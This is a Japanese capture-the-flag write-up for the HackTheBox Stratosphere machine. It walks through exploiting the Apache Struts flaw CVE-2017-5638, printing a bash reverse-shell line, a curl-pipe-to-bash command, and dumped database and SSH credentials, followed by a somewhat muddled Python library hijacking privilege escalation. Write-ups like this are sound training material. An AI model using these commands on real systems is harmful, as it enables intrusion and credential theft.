> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Stratosphere HackTheBox攻略記事

Apache Strutsの攻略（CVE-2017-5638）、Pythonライブラリのハイジャック（権限昇格）を扱うStratosphere HackTheBox Medium Linuxマシンの攻略記事。実践的な列挙、攻略、fo

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**スキル:**

* Apache Struts の悪用（CVE-2017-5638）
* Pythonライブラリハイジャック（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d3cdae5c75a026d36ce74b46abed3e0aeed707f%2Fimage%20(2902).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbded504ffcbb1b10c41ed5aed3134a917474a4%2F%7B55758936-53EA-4B91-A327-C3254EC4ACCA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08454e0243825fc30e2b8d964d1e61bfd9900e%2F%7BC62FEA8F-BEBD-4877-9A8F-F581D136A474%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ExtractPorts を使ったオープンポート解析（**&#x32;2.80.808&#x30;**)**

extractPorts関数を使って、オープンポートを簡潔に表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0ac6bab66dd6e8c7479cb0c8c031c8e8d7247f3%2F%7B67BA7538-04E1-4850-AE4A-67C144CCD61C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmapを使ってポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29bee07c6f1c9f434325fe55b47efd5eea0ebd28%2F%7B86A74FBD-4E5E-4AC8-9AED-D3C902101424%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ece5dd3129009986c83eaebc581d8b8081ffcf22%2F%7B41D954D6-ADEE-408F-B7EC-6A5EB45F634E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/Webサービスの探索（ポート80と8080）//*

ポート80と8080は同じWebサイトをホストしている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d6e7093e6f17a7be5138ec458e091b1ac95bfd7%2Fimage%20(2905).png?alt=media" alt=""><figcaption></figcaption></figure>

### 〜でファジング **Gobuster**

次に実行する `Gobuster` 興味深いディレクトリを検索するために

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

次のパスが見つかる:

* `/manager` - Tomcat Managerのインターフェース
* `/monitoring` - Monitoringセクション

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de4b8629312eb69d901704021e03624b589cb0b1%2F%7B2F68200E-1F15-43F1-A4C8-9572F3747869%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c13fd88b2d2e21080d13c6c8a6ff76766d18c63f%2F%7B1D0A485B-2336-49BA-B30F-E304C82639F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Monitoring:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-494cd0fa3815920c7f0e6d76c0a4d4f988488a07%2F%7B4C67C974-A428-471D-A62D-E4EF632A7914%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Apache Struts の悪用（CVE-2017-5638）

#### **Monitoringディレクトリの探索**

登録を試みると、エラーメッセージが表示される。さらに拡張子も確認できる `.action`、Apache Strutsベースのアプリケーションである可能性がある

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

次を使用します `struts-pwn.py` リモートコマンド実行をテストするために:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

コマンドは動作し、脆弱性が確認できる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **リバースシェル**

1. Netcatで待ち受け:

```bash
nc -nvlp 443
```

2. 作成する `index.html` リバースシェルを含むファイル:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. PythonのWebサーバーでファイルをホストする:

```
python3 -m http.server 8080
```

4. エクスプロイト経由でリバースシェルを実行する:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

残念ながら、この方法は失敗する。

### **機密情報の抽出**

サーバー上のファイルを一覧表示する:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次のものが見つかる: `db_connect` ファイル。これを取得すると、認証情報が得られる:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

MySQLの認証情報から回収した情報:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 抽出情報 - mysqlshow

#### **データベースの列挙**

次を使用します `mysqlshow` ユーザーでアクセス可能なデータベースを一覧表示するために `admin` Strutsの脆弱性を悪用して、〜経由で `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd8b3be8da54bdaee2bc44f7fb8d07bda98334%2F%7B802F7D72-B20A-49E0-B1E1-8359CEB81371%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これにより、データベースを特定できる **users**.

#### **テーブルの要約**

次に、ベースからテーブルを一覧表示する **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa9126a24e23ad7d5dabcce69ce07a828ba5d371%2F%7B1843F9B8-C4AF-413B-9D7F-6F2F32143D08%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **カラムの列挙と認証情報の抽出**

ここで、テーブルのカラムを一覧表示する **accounts** そして、その内容を抽出してみる

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb790940f36626e48347d6e5de289095bd2e777c%2F%7B73E1AE99-65F5-4389-B5A9-6548065C6767%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次の情報が得られる:

* **ユーザー名**: `richard`
* **パスワード**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b57bfef7f1d01aeee058c5b61a4a9a514ab83bf2%2F%7B4F5EB68F-B655-4B17-865C-5E1441A82C07%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

見つかった情報を使って、対象マシンのSSHに接続する:

```bash
ssh richard@10.10.10.64
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c036ff6a552612f1178682ae5c27e4916e62653d%2F%7BF1C36E50-38E8-496A-98F5-2B8ADA8558E2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bee94285023db367055855aa6c68c4ed95b56ad6%2F%7BC790783B-58F8-400E-81D6-1D6375AC5C52%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

### Pythonライブラリハイジャックによる権限昇格

まず、次のコマンドを実行して一覧表示する `sudo` 権限:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f619a74cffea29e380d597b6404b11b2fc2d0dce%2F%7B4966A624-1275-4984-9970-5263FFB0D2DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Pythonスクリプトを次の権限で実行できることがわかる `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-049a712be8147af50d7017837944ce4e0776392f%2Fimage%20(2906).png?alt=media" alt=""><figcaption></figcaption></figure>

解析すると `/home/richard/test.py` スクリプトは、絶対パスを指定せずにモジュールをインポートしていることがわかる。例えば:

```
import os
os.system("bash")
```

次に、スクリプトを次の権限で実行する `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* スクリプトが起動すると、悪意あるバージョンの `hashlib.py` が読み込まれ、シェルが〜で実行される `root` 権限。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d9ea65d2964c242ab218aa3d99f78b970ff8cb4%2F%7BF4309C12-1280-48D9-88C6-2E1331EAE2D9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c86521844240de169e12d92ecc3a5647121d783d%2F%7B5E759E12-EA51-4B6F-8ECC-3A74F5438C60%7D.png?alt=media" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8252a3b5668aa0845db916a1866658e4534eff41%2F%7B3FAD7DA9-A5F4-4B29-8A8E-0F8743F2C948%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
